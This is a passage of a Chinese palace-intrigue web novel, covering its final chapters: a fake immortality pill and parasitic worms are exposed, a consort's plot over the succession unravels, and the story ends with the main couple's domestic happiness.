“我怎么会死。”洛雄才一下子找到了保命的办法,立时就道:“萧远峥,我实话告诉你,吃人肉、婴胎并不能克制食人虫,吃血食只会促进食人虫的进化,只有真正的长生丹才能克制食人虫,这才是仙主长生不老的终极隐秘。现在,长生丹掌握在新仙主手中,只要你不杀我,我保证回京后,就给你长生丹,你只要吃过长生丹,亲身体会过长生丹的玄妙,就会成为我们白玉京的忠实信徒,永忠仙主,我们就是盟友。” 夜王又笑了,“你说的长生丹,可是一种青色药丸?” “赵荆过来,搜他的身。” 赵荆把牛肉干一口塞嘴里,一边嚼着一边走过来,在其袖袋、前襟、腰上挨个摸了一遍都没有,而后扯开他的衣领,就在他脖子上发现了一个红绳拴着的碧玉药瓶。 洛雄才见状,立时蹬腿怒喝,“尔敢!” 赵荆嬉笑一声,当即扯下交给了萧远峥。 萧远峥倒出一粒,果然和夜王给他的那颗一模一样。 萧远峥收了这所谓长生丹,回到慕容鸾音身边,盘腿坐下就道:“洛雄才,仙主难道没告诉你,制作这种长生丹所需的天外陨石用光了吗?” “你还给我,那就是我的命!” “堵住他的嘴。” 赵荆领命,可手头并无合适的堵头,灵机一动就把洛雄才的袜子扯下来,团吧团吧塞了进去。塞完后,十分嫌弃,连忙到水边洗手去了。 洛雄才双目瞪如铜铃,拼命蹬腿挣扎,似是忽然反应过来萧远峥说的话,安静片刻后忽的更猛烈的挣扎起来。 萧远峥仍旧不管他,而是给慕容鸾音看那药瓶子,又伸出一只手来比了比,而后小声道:“有五颗,能用很久,别着急,闭上眼睡会儿吧。” 慕容鸾音亲自数了数,心中焦虑平缓了许多,就听话的靠在他身上闭上了眼睛。 萧远峥把自己的斗篷张开,将她笼在自己怀里,轻轻拍抚。 慕容鸾音原本并不想睡,但在他怀里,闻着他身上的味道,竟就不知不觉睡了过去,再睁眼就发现外头天光熹微,又闻到了辛辣酱香的烤鱼味,顿时口舌生津。 “醒了?” 慕容鸾音情不自禁笑了一下,“夜王又要烤鱼吃吗?” 萧远峥听了,也笑了一下。 冬青听见了,就赶忙举着烤好的鱼送过来,“姑娘,是奴婢烤的,夜王好心,把他的酱料给我们用了。” 在饕餮玉座上躺着睡觉的夜王似是听见了,咕哝了一声,“吵死了。” 冬青连忙降低音量,“姑娘快吃,烤架上还有好几条呢。” 就在慕容鸾音吃鱼的时候,那两个躺了一晚上的死士,其中一个睁开了眼睛,迷茫的环顾四周。 慕容鸾音甫一瞧见,连忙把没吃完的鱼交给冬青就站了起来,目光炯炯的死死盯着。 萧远峥蓦地攥紧慕容鸾音的手腕,怕她激动之下贸然上前。 其余人等,凡是醒着的,也都纷纷站了起来。 “你们是谁?” 慕容鸾音赶忙道:“你又是谁,叫什么名字,可知道自己经历过什么?” 迷茫的死士愣了愣,脑海中的记忆在慢慢复苏,待得他意识到自己做过什么,吃过什么,顿时凄厉嚎哭,若非被捆着,还不知会做出什么来。 洛雄才煎熬了一夜,瞪眼听着,如见鬼一样,死士没吃长生丹,怎么会清醒了呢?不可能,不可能! 慕容鸾音却猛地抱住萧远峥,嚎啕大哭,“不是空想,不是!” 萧远峥浑身轻颤,也紧紧抱住慕容鸾音,眼眶泛红,“你是对的,阿音你是对的。” 夜王翻身而起,疾步走到嚎哭的死士面前,蓦地指着一个锦衣卫道:“你来,切块肉喂他试试!” 那锦衣卫一呆,吓得不轻,连忙躲到苏逢生身后。 “我来。”阎大忠大踏步走出,在自己胳膊上划下一道口子,而后捏住那死士的嘴,举着胳膊把血往那死士嘴里滴。 死士被捏住嘴,哭声停止,可当血进入他嘴里的一瞬他就吐了,喷泉似的。 阎大忠和夜王都躲闪不及,被喷个正着。 夜王一点不怒,反而哈哈大笑。 这边厢,慕容鸾音也调整好了心绪,连忙去查看那个至今没有苏醒的,便发现他已经浑身僵冷死去多时,解开绳子,将这个死士平整的摆放到地上,细细检查后确认,这个死士之所以没有苏醒,是因为胸膛被刺了很深的两刀,他的身体死亡了。而那个苏醒的死士,身上没有致命伤。 萧远峥则是让苏逢生带着人去陨石池边查看其余的死士。 昨夜他们又饿又累,就只带了两个死士出来,其余死士全都捆好留在了陨石池边。 很快,苏逢生回来了,那些死士,凡是有致命伤的都死透了,伤势轻的都苏醒了,凡是苏醒的有哭嚎不止的,有完全崩溃疯了的,还有撞破脑袋自尽的。 慕容鸾音有了自信,当即就笑道:“那么现在,我们需要做的是把那些赤磷青角蛇钓出来,这蛇离水便死,还需找些水罐子。” 夜王立时激动的道:“储粮洞里缸缸罐罐多着呢,拿去用便是,我、我来做鱼饵!” 一边说着一边就和苏逢生一块去了。 不久后,就有个锦衣卫抱着双耳陶罐回来,放到了萧远峥面前。 萧远峥和慕容鸾音一块探头瞧了瞧,就见里头盘着一条赤磷青角蛇。 这时,萧远峥才用帕子包着把洛雄才嘴里的臭袜子拽了出来。 洛雄才呸呸吐了两口唾沫,这才翻着眼睛看萧远峥,“你们对这些死士做了什么?他们没吃过长生丹,绝无可能清醒!” “在我夫人的坚持下,我们找到了食人虫的天敌赤磷青角蛇,被这蛇咬一口,人体内的食人虫都会死去,患者自然就恢复正常了。” “我不信你说的,制作长生丹的原料怎么可能没有了呢,我不信!” 萧远峥把洛雄才拽起来,给他看陶罐里的蛇。 洛雄才看了,梗着脖子怒道:“一条罕见的蛇罢了,又能证明什么。” 慕容鸾音见他嘴硬,就嗤笑,“倘若真能长生不死,那个仙主为何要自爆身份去诱惑陛下长生,自己长生,逍遥红尘不好吗?过个几百年,逢着际遇,说不得还能自己打个天下做皇帝呢。” “因为……”洛雄才蓦地住嘴,改口道:“其一,那是因为蛊王给皇帝后,只要将虫卵及时放入仙主血肉中,虫卵自会让他复生。其二,因为仙主要向皇帝复仇。只要皇帝引渡了蛊王,在没有吞服长生丹的情况下,蛊王一旦进入皇帝的身体就会吃了他,把他吃成一张血皮。” 萧远峥冷笑道:“仙主若长生不死,他只需冷眼看着陛下老死或者暴毙就可以,很不必多此一举。” 洛雄才愣了愣,忽的反应过来,“是啊,只需冷眼看着老皇帝死,继位的还是孝诚王,他为何多此一举?” “也就是说,仙主的其中一个目的是让孝诚王继位,他为什么想让孝诚王继位?” 洛雄才却是陷入了自己的思考中,神情逐渐扭曲,脸皮涨红,“除非、除非真像你们说的,制作长生丹的陨石用光了,被他用长生丹控制的那些人很快就控制不住了,那些人也会发现长生丹没了,那些人会发疯,他建立的白玉京会迅速崩塌。仙主快死了,才会想着临死复仇,顺便给自己的亲儿子铺路,行鸠占鹊巢的千古毒计!” 萧远峥和慕容鸾音几乎一齐惊 在那里。 什么,他们刚才听到了什么,仙主的亲儿子?仙主还有个亲儿子?! “毒妇!章揽星这个毒妇!我对她痴心一片,她竟想也把我除掉!”洛雄才此刻恨毒了章揽星,急忙道:“萧远峥,你听我说,孝诚王其实是章贵妃和仙主的儿子,你饶我一命,咱们一起回京,我要去揭发她!” “怎么可能。”慕容鸾音听到这样一则秘辛,腿都软了,索性席地而坐,“据我所知,后宫嫔妃,一脚迈几十双脚跟着,贵妃哪来的机会与那仙主私通。” “有!”洛雄才心中毒火熊熊燃烧,恳求道:“我被这锁链捆的浑身僵麻,你给我换成绳子,我还饿的心慌手抖,再给我吃条鱼,我细细跟你们说。” “可。” 随即萧远峥看向赵荆,赵荆就把捆死士的绳子抽出来,给洛雄才换上了。 “冬青,拿条烤鱼来。” 这会儿,冬青和阎大忠坐在火盆旁边,正一人一条鱼吃的喷香,甫一听见慕容鸾音要鱼,倒把两人吓红了脸。 冬青连忙应声,把正在烤的那条拿了过去。 待得洛雄才狼吞虎咽吃完,他却又盯着萧远峥手边的双耳陶罐道:“让这蛇咬我一口试试,如何?” 萧远峥冷笑起来,“赵荆,再把他的嘴堵上。” “是。” 洛雄才连忙赔笑,赶忙道:“事情起于十一年前……” 第078章【大结局】 第78章 第078章大结局(二)…… “又是十一年前?” “对,又是十一年前。”洛雄才目光复杂的看着萧远峥,“你想想十一年前发生了几件大事。” 嘉懿太子自戕,萧父萧母双双死亡,慕容青云被刺杀,死在任上。 萧远峥脑海中立时便浮现出这三件对他、对陛下而言,几乎击溃了他们半条命的大事。 洛雄才见他神色冰冷,便知他只想起了那三桩人命案,而忽略了后宫,于是直接点明,“嘉懿太子死后,陛下打击过大,缠绵病榻,后宫发生了一件博宠的小事,几个嫔妃到皇帝面前争表现,要去般若禅寺跪经,为陛下禳灾祈福,其中就有个章婕妤,也就是现在的贵妃,十一年前最得宠的可不是她章揽星,而是谢淑妃,出自你母族,按辈分,你还要称一声小姨母,而现在的谢淑妃和她生的两个皇子,又是什么下场呢?” 萧远峥却仍旧没有一点印象,心中骇然,缓缓坐在了地上。 慕容鸾音却一下子想起来,“我爹,我爹曾卷入谢淑妃和章贵妃的争斗中,那场争斗的结果是谢淑妃的七皇子和章贵妃的八公主都死了,而我爹,托祖父的庇佑,逃过死劫,被贬成了末等医官,一世不许晋升。” “正是那场争斗,章揽星这个毒妇用自己的亲女儿干掉了聪慧得宠的七皇子,她又假惺惺的跪到陛下面前,说从此以后甘愿每餐为陛下试毒,从那以后,才逐步晋升,成了宠冠后宫的贵妃。” 萧远峥倒吸一口凉气,冷冷道:“所以,仙主在同一年策划这三桩人命大案,目的之一是为了掩盖贵妃和他私通生子这件事?” 洛雄才竟是笑了,“你看,即便我直接点明,你都不大记得有这样一件出自后宫的小事,可见多么成功。” “还是不对。”慕容鸾音道:“嫔妃出宫,身边跟随的人越发多了,还有女史负责记录嫔妃出宫后的一言一行,贵妃怎么脱身去和仙主私会的?” “谁说生子一定要两身相贴?” 慕容鸾音惊愕,忽的看向萧远峥,想起他对自己做的那件令她羞耻愤怒的事情来。 萧远峥看着慕容鸾音也想起来了,他曾为了让她怀孕,堵在她里面,顿生羞愧。 洛雄才见他夫妻二人两两相望,傻了似的,就直接道:“只需将男子阳元导入女子体内,多弄几次,就有极大的可能怀上。而且,在这个过程中,贵妃和仙主根本没见过面,是通过章挽月。仙主把自己的阳元交给章挽月,章挽月拿给的章揽星。那时共有三个嫔妃到般若禅寺跪经,其余两个跪了一个来月就受不了回宫了,只有章揽星跪足了百日,仙主确认她坐胎之后,使计让皇帝亲自来接回宫的,从这以后,章揽星才真正入了皇帝的眼。后来为了月份对得上,章揽星又陷害了谢淑妃一次,孝诚王就‘早产’出来了。而谢淑妃就入了冷宫,不久后‘病死’,她的六皇子,因是个孝顺有余,刚性不足的哭包,年纪又小,陛下慈父心发作,就留在身边,封做了忠孝王。” 萧远峥想到才十四岁的忠孝王,那就是个不敢踏出王府的胆小鬼。想必,也正因如此,才保全了性命。 “糟了。”慕容鸾音慌忙站起来,“既然贵妃和仙主是一伙的,陛下岂不是有危险,我们得赶快回京揭穿她。” 萧远峥也跟着站了起来,道:“这一点不需担心,只要陛下能抗住长生的诱惑,贵妃没那个胆子对陛下下手。” 洛雄才讥笑道:“咱们这位陛下,圣心如渊,早年也还好,自从嘉懿太子被谋害后,惜命的很,便是召幸嫔妃时,帘幕后也坐着老供奉,章揽星若敢下手,骨头早化成黄土了。但章揽星口舌了得,就怕她会蛊惑皇帝提前引渡蛊王,一旦她成了垂帘听政的太后,咱们都活不成。自小,她就极为推崇武则天。” 慕容鸾音低头算了算日子,抬头坚定的看着萧远峥,道:“陛下既然答应给我一个月的时间,就不会食言。我们需得快马加鞭,必须在十一日内赶回京城,进宫面圣。” “好。”萧远峥握住慕容鸾音的手,而后看向洛雄才,冷冷道:“你见过被食人虫活活吃成一张血皮的人吗?” 洛雄才顿时打个冷颤,翻起眼皮,死死盯着萧远峥,“我知道你不会放过我,但求一个痛快的死法,你若答应,如何揭发贵妃和仙主鸠占鹊巢的毒计,我听你安排。” “成交。” 十日后,京城,长明殿。 大日凌空时,皇帝终于醒了。 贵妃跪在脚踏上,小心翼翼的握住皇帝的手,脸上早已是泪痕斑斑。 “您可算醒了,臣妾好怕啊……” “朕……做了个梦,梦里朕生龙活虎,和长生他们吞花卧酒,游春行乐,好不畅快。” 贵妃握起皇帝的手贴到自己泪痕斑斑的脸上,泣道:“陛下,臣妾真的怕了,您好好活着,才是我们母子的依靠,求您允许,先在臣妾身上试验,若臣妾平安无事,您就快快引渡蛊王,可好?臣妾……只要您活着。” 长盛帝轻轻抚摸贵妃娇嫩的脸颊,转头盯着明黄的龙凤帐顶,缓缓道:“朕不能再失信于他,少一天、一个时辰都不行。” “是,臣妾知道了。”贵妃用自己的脸轻轻磨蹭长盛帝苍老的掌心,小声啜泣。 ——老不死的,那就再等几个时辰! “来人。” 范守君当即便自薄透的青纱帘后走出,躬身道:“奴婢在。” “赐萧长生鹤顶红,把他抬来,朕想他了。” “奴婢领命。” 贵妃连忙抬头带着哭腔道:“陛下,臣妾听闻郧国公在家中昏迷不醒,想来是时日无多,何故又赐鹤顶红?怎么又要抬来呢?” “你话多了。” 贵妃心头一刺,丽容煞白,急忙跪地请罪,“臣妾知错。” “扶朕起来。” 便又有两个青衣大內侍自纱帘后走出,小 心的搀扶起长盛帝,抬到了月洞窗前的躺椅上。 长盛帝躺好后,一抬手指,没一会儿两个青衣大內侍就把兽笼推了进来。 兽笼内,楚永寿正捧着一块团状的血肉在啃食。 一旁的內侍道:“回陛下,一个月内,他的确只发病了这一次,给与未见天日的血食后,安静了下来。” “一会儿他吃完就捆到铁椅上吧。” “是。” 贵妃死死掐着手心才控制下了激动的心,面上挤出忧心忡忡的表情。算算日子,洛雄才杀完人该回来了。待得吾儿继位,所有阻碍过我的都得死。 日暮时分,范守君用一张躺椅把萧长生抬到了长盛帝面前。 两老相见,都笑了。 萧长生大咧咧躺着,一指范守君就笑道:“这个姓范的,忒狠,拿鹤顶红兑了水硬灌,我差点没扛下来,但在我昏迷的时候做了梦,梦里咱们一起夏日蹴鞠,冬日狩猎,好不快活,还梦见你说你想我,我就想着,无论如何都得来见你一面。你把我孙儿孙媳弄哪里去了?” “朕与重霄的孙女约定好了,他们就快回来了。” 这时,贵妃亲捧着一个剔红石榴纹茶盘,送来了两盏清茶,谦恭含笑,“陛下请用,郧国公请用。” 萧长生没理她,而是笑对长盛帝道:“最后一面了,想喝陛下珍藏的美酒,行不行?” “当然行。去把朕珍藏了二十年的新丰美酒拿来,今夜朕要与郧国公畅饮。” 贵妃连忙劝阻道:“陛下,您的身体不可……” “今日你怎得如此多嘴。” 贵妃委屈落泪。 没一会儿,就有青衣內侍送来一壶酒,配了两只白玉高足杯。 这时,范守君急匆匆走到长盛帝面前耳语了一番。 长盛帝瞥一眼贵妃,随后道:“让他们进来吧。” 贵妃被那一眼看的心惊胆颤,眼皮直跳,“他们”是谁? “陛下,我们回来了。”慕容鸾音心情激荡,人未至声先至。 当贵妃闻听此音,心头就是一颤,当她又看见紧紧护在慕容鸾音身后的萧远峥,狼狈不堪的洛雄才,以及那个一头白发的美艳男人,眼前一黑,险些没站住。 慕容鸾音往长盛帝面前一跪就道:“陛下,我们星夜兼程,终是赶在最后一个时辰前回来了,没有失约。陛下,我们发现了仙主真正的阴谋,您要有个心理准备。” 当萧远峥看到清醒的萧长生出现在这里,心思斗转,顿时明白了,颤声道:“您、您可是服用了鹤顶红?您的身体如何受得住!” “你别管。亏得陛下想着我,不然我就错过了知道真相的机会。我等这一日,等了十一年,快说!” “朕这一生什么大风大浪没经历过,丧子之痛都走出来了,说吧,朕经得起。” 萧远峥伏地磕一个头,随即站起走向被捆在铁椅上的楚永寿,将他脖子上戴的那串青色宝珠摘了下来。 此时的楚永寿在看见夜王的那一瞬间,两眼就充了血,任凭萧远峥拿走他的宝珠,不做任何反应。 “陛下请看,这串青色宝珠,实则被叫做长生丹,由陨石粉末制作而成,这才是真正克制食人虫的东西,而血食只会促进食人虫的进化。” 长盛帝缓缓坐直,眼神亮了亮,“也就是说,真正让他返老还童的,是陨石粉末?朕不用吃血食,只吃这陨石粉末,也可以返老还童吗?” 萧远峥赶忙道:“臣翻阅荡寇山的县志,县志记载,百年前曾有火星坠落其中,那火星就是仙主发现的陨石,他在陨石上发现的食人虫,陨石和食人虫共生,但那块陨石已经被仙主用光了,很快他就会被食人虫活活吃成一张血皮,他临死之际,开始实施铺垫了十一年的鸠占鹊巢毒计,他却不知,有另外一个人,替换了他交给贵妃的东西。” 楚永寿在看到夜王的时候,已经知道自己诱死楚永昌之计破了,但不要紧,他还有计中计,只要他的儿子登上皇位,他鸠占鹊巢之计就成功了,从此以后,坐在皇位上的人都是他血脉的延续。可是他听到了什么?难道有人替换了他的阳元?不可能!夜王只知道陨石用完了,他不知道鸠占鹊巢计,一定是萧远峥这小孽畜诈我的,稳住! 长盛帝琢磨着“鸠占鹊巢”这四个字,心中隐隐有了个荒诞的猜想,但不可能啊,贵妃没有机会与人私通。 这时,洛雄才“噗通”一声跪地,张嘴就哭道:“揽星,你都听见了吧,我们都被仙主骗了,长生丹没有了,我们一家三口很快都会被食人虫活活吃成一张血皮。早知到头来一场空,当年我作甚用自己的阳元替换仙主的,徒劳罢了。” 长盛帝蓦地倒向靠背,呼吸逐渐粗重,看死人一样盯住章揽星。 章揽星脸色煞白,颤巍巍跪下就急急哭道:“陛下,臣妾冤枉,臣妾和皇儿体内可没有食人虫,慕容大娘也在这里,臣妾请慕容大娘把脉。” 洛雄才一听,心中毒火如被猛然浇下一瓢油,噼里啪啦,烧的他眼睛赤红。 “毒妇,你果然骗我,你竟当真想把我也除掉!”洛雄才当即向长盛帝“咚咚咚”磕下三个头,“陛下,男女生子,还有个不需要两身相贴的法子,那就是把离体的男子阳元尽快直接导入女体。十一年前,贵妃到般若禅寺跪经,她以思念亲人为由,把她姐姐章挽月接了过去,实则,她和仙主串通好了,每日仙主把自己的阳元交给章挽月,让章挽月交给贵妃,臣那时偷偷潜入禅房和章挽月私会,得知此事就生了嫉妒心,臣少年时便与贵妃姐妹相识,一生夙愿便是把她们姐妹都收入床帐,就想着,何不趁此大好机缘,让贵妃给我生儿子,于是就用自己的阳元替换了仙主的,孝诚王实则是臣的儿子,陛下,臣罪该万死,但此时已经悔悟,但求斩立决,臣不想被食人虫活生生吃成血皮。” “淫/妇!”楚永寿崩溃了,双目中血管爆裂流下两行血泪来。 贵妃一霎瘫软在地,脑海中一片空白。 长盛帝“噗”地一声喷出一大口血来。 “陛下!” 慕容鸾音连忙上前,一试其脉搏就大悲落泪。 萧长生已是坐不起来,叹口气就提醒道:“完喽,陛下这口气要是上不来,咱们也不能更改立储的圣旨,真就要扶持一个野种做皇帝了。” 长盛帝一听,硬生生咽下满嘴的血水,闭了闭眼,当他再睁开就一把攥住慕容鸾音的手腕,“为朕催发生机。” 慕容鸾音知道此时此刻千钧一发,容不得她犹豫手软,当即便道:“是。” 范守君流着泪,急匆匆将金针取来。 慕容鸾音闭上眼定定神,再睁眼,两手捏针,迅速将金针刺入了长盛帝头上的各大要穴。 少顷,长盛帝睁眼,头脑清晰,双目有光,拔下手指上的一枚赤金龙戒交给萧远峥,道:“去取立储圣旨。” 萧远峥两手接过,疾步走向龙椅。 与此同时,又有一个內侍领了口谕疾步走出长明殿,急召忠孝王与宗令安王进宫。 楚永寿流着血泪大吼,“我算计了一辈子,不可能失败,我不允许!老天啊,你既让我侥幸不死,又赐下机缘,命运眷顾,为何不眷顾到底!就差一点,就差一点!皇位轮流做,该我了,该我了!” 长盛帝拿到自己亲手写的立储圣旨后,就在灯上点燃,扔到了贵妃裙上。 明黄圣旨很快烧成灰烬,也把贵 妃满绣石榴花的凤尾裙点燃了。 贵妃感受到小腿上烧灼的痛,惨叫一声清醒过来,急忙扑灭裙上火焰,再抬眸,满目愤恨不甘。 “老不死的,我这十几年来尽心尽力服侍你,日日献媚讨好,爱不离口,我爱你什么,难道爱你的老人斑,爱你床榻上的软弱无力吗,当然是爱你的无上皇权!” “住口。”萧远峥厉声怒喝,而后跪地请罪,“陛下恕罪,因时间紧迫,难以搜寻证据,故此臣策反了洛雄才,实际上,他没有机会替换,孝诚王的确是贵妃和仙主的儿子,这一点,从贵妃和仙主的反应看,已经可以证实。我们也找到了食人虫的天敌赤磷青角蛇,被这蛇咬一口,人体内的食人虫都会死去,患者会恢复健康。但……也和普通人一样生老病死。” 贵妃和楚永寿几乎是一齐呆住,转瞬,贵妃捶地大哭,楚永寿暴怒,“萧远峥你这个孽畜!你们姓萧的没一个好东西!” 话落,呕血不止。 靠在躺椅上的萧长生,原本已经气若游丝了,听到这话,竟是哈哈笑出了声。 “好,做得好。”长盛帝淡淡发出命令,“贵妃、孝诚王,即刻绞杀。楚永寿,活烧。朕要亲眼看着。” 当即,就有几个內侍走出长明殿,一波点齐铁甲卫往东宫拿人,一波去叫柴库的人来搭建柴堆。 殿内,又有两个內侍将贵妃拖到纱帐后,用她自己的缕金飞凤披帛,交叉缠绕其脖颈,二人缓缓用力,拽紧。 慕容鸾音透过那面青纱,就看见贵妃先是挣扎,不久后两臂下垂,再也不能发出一点动静。 满殿落针可闻,慕容鸾音僵在那里,只觉得过去了很久很久,可眼前的蜡烛才燃烧了小半截。 范守君进去,在确认贵妃死透了之后,将青纱帘掀起,给长盛帝过目。 随后,长盛帝便开始在小桌上重写立储圣旨。 萧远峥挪到慕容鸾音旁边,握紧她冰凉的手,轻声道:“别怕。” “嗯。”慕容鸾音下意识回握他手。 又不知过了多久,殿外露台上用木柴堆建出了一个大棺椁。 孝诚王被塞住嘴抓进了青纱帘后,就在他母亲的身畔,也被绞杀。 洛雄才趴伏在角落里,脸贴金砖,抖若筛糠。 夜王躲在帘幕后,与那里的青衣內侍,大眼瞪小眼。 长盛帝把盖了玉玺的立储圣旨扔给萧远峥,而后就让人把他自己和萧长生的躺椅都转了个方向,面对着月洞窗。 二老相视一笑,举杯轻碰,各自饮下。 “峥儿说朕是千古一帝,那千古一帝自然有千古一帝的死法。长生,你的墓穴在朕的右边。” “知道,左边是重霄。” 月洞窗外,明月高悬,烈火熊熊,楚永寿的叫声,如恶鬼一般。 忠孝王到了,看见露台上的大火,大火里面扭曲如恶鬼一样的人,登时吓软在地,两个內侍架着他,把他架到了长盛帝面前。 长盛帝已是龙目半合之状,缓缓道:“听萧首辅的话,他会替你安排好一切,你好吃好睡,生病了就找慕容院使给你治,生个聪慧的太子。” 话落,龙目完全闭合。 慕容鸾音上前收针,泪落不止。 萧远峥跪送后,急忙去看萧长生,摸他身体渐冷,双目却赤红,便知食人虫又在作祟,急忙送进他嘴里一颗青色陨丹。青色陨丹下肚,按理来说,他该清醒的,可是没有,他的身体在不久后变得冰冷僵硬。 萧远峥便知,他的祖父早已死了。 可他却只能暂时把悲伤压在心底,捧着圣旨,走向了趴在地上瑟瑟发抖的新帝。 接下来的日子,新帝登基,国丧,家丧,找回逃亡的家人,清剿白玉京余孽,清除被食人虫控制的文武官员,大换血,稳固朝纲,救治百姓,清理水源,待得萧远峥和慕容鸾音终于能清闲下来时,已是一年后。 慕容鸾音被长盛帝特旨封为太医院院使,如今在太医院当值,已是驾轻就熟。新帝亲近她,特意让内务府给她做了新的太医官服。太医的官服都是黛青色,只她的是和一品官一样的绯红官袍,没有特定的官帽,每日里她想梳什么发髻,戴什么簪钗,全凭心意,早已成了太医院乃至整个朝堂的一道靓丽风景,无人敢置喙。 夏日炎炎。这日夫妻二人休沐,在房中午休。 碧荷早把丫头们都撵的远远的,和茯苓一块坐在廊上,绣一张大红盖头。 茯苓一边劈线一边小声笑道:“真是没想到,咱们四个里头,偏是最不开窍的冬青遇着了良人,你是不知,昨日我经过蔷薇花架,就瞧见冬青点着阎大忠的胸膛数落他,那么魁伟一个汉子,被冬青骂不还口,打不还手,还憨憨的下跪赔笑呢,瞥见我在那里,咻的一下子跑了。” 碧荷就笑道:“这兴许就是他们前世的缘法了。” 房内,慕容鸾音扶着床柱,绣着双蝶的一只雪白罗袜悬在半空,颤巍巍勾着脚尖。萧远峥一只手托抓着白里透粉的腿弯,咬着她耳朵威逼,“你说不说。” 慕容鸾音眼尾红艳灼灼,整个人绽开的红莲一般,仰着头吐息如兰。 “我爱你。” 萧远峥忽然听得了这话,反而呆住了。 慕容鸾音转过身来,捧着他的脸,两腮盈笑,杏眸情浓,“我现在是三品院使,还找到了自己一生都要去钻研的医道,此时的我道心稳固,不畏惧说爱。峥哥哥,我就是爱你。你和医道,不是鱼和熊掌,我都要,你值得。” 萧远峥眼眶微湿,蓦地衔住她唇舌,热烈索取津液。 就在这时,窗外传来一声,“大爷来了。到前院了。” 慕容鸾音赶紧推他,“我哥哥来了。” 萧远峥气坏了,箍紧怀里软糯腰肢,狠拥了一会儿就松开了手。 一番收拾,穿戴好衣衫就坐到厅上迎客。 冬葵带着小丫头,送上了解暑的冰酪和时令瓜果。 慕容韫玉被请进来时,瞧见慕容鸾音正吃冰酪,就赶忙道:“我来时母亲特特嘱咐,让你少吃冰的。如今国孝家孝都除了,是时候要孩子了。” 慕容鸾音眼睛都不眨一下就说谎,“这个夏日就吃了这一碗。” “你瞧我信不信。” 萧远峥见慕容韫玉手里托着个嵌八宝的红木匣子,就耐着性子问道:“手里拿的什么?” 慕容韫玉顿时灿烂一笑,坐到慕容鸾音旁边,“我亲自画的花样子,找最擅长做花钗的工匠给你做了十支,一旬十天,让你每天都戴着不重样的上值去。” 慕容鸾音连忙去瞧,匣子一打开就宝光四射,有赤金红宝石的,花丝点翠的,玲珑剔透的,每一支都在她心坎上,喜的她道:“哥哥你真好。” 慕容韫玉展扇轻摇,瞥一眼臭脸轰轰的萧远峥得意之极。 “你自己没有妻子吗?” 慕容韫玉嗤笑,“我家夫人那里自然也有。我不像某人,至今可送过阿音什么?可怜我妹妹没有好夫君疼爱,我这个做哥哥的自然要多想着。” 萧远峥气笑了,“我的俸禄、家产,都交到阿音手里了,你呢?” 慕容鸾音可不管他们,兀自让碧荷把镜子拿来,摆在茶桌上。 慕容韫玉连忙咳嗽两声,转开话题道:“妹妹,这两日我就在琢磨你做的那些梦,今日我忽然悟了。” 慕容鸾音正对镜插戴一支彩凤花钗,闻言不甚在意,“悟到什么了?怕又要说我脑子坏了。” 慕容韫玉连忙起身,拱手作揖,赔笑道:“哥哥错了,哥哥在这里正式给你道歉,你原谅哥哥,好不好?” “我何曾真的生过你的气,哥哥满心满眼的爱护我,我岂能不知好歹。” 慕容韫玉眼眶湿润,背过身去擦了擦,回身后就坐下笑道:“你那些梦,和你的追求、脾性,还有父亲对你从小的培养,都息息相关。你自小在医道上天赋惊人,是你自己不甘心把自己埋没在后宅里,日日思索,夜夜煎熬,才做了那些预警的梦。妹妹,你说,我悟到的可对?” 慕容鸾音早已不在意“那些梦”到底意味着什么,便笑道:“哥哥这么说也很有道理。” 这时,萧远峥举起茶杯做撵客状。 慕容韫玉偏就不走,笑呵呵的又和慕容鸾音说了好些话。 萧远峥实在气不过,就直接道:“慕容韫玉,你不走,我们怎么要孩子。” 慕容鸾音登时红了脸,自果盘里拿起一个桃子就扔他。 萧远峥衔笑接住,拥她在怀,目送慕容韫玉逃之夭夭。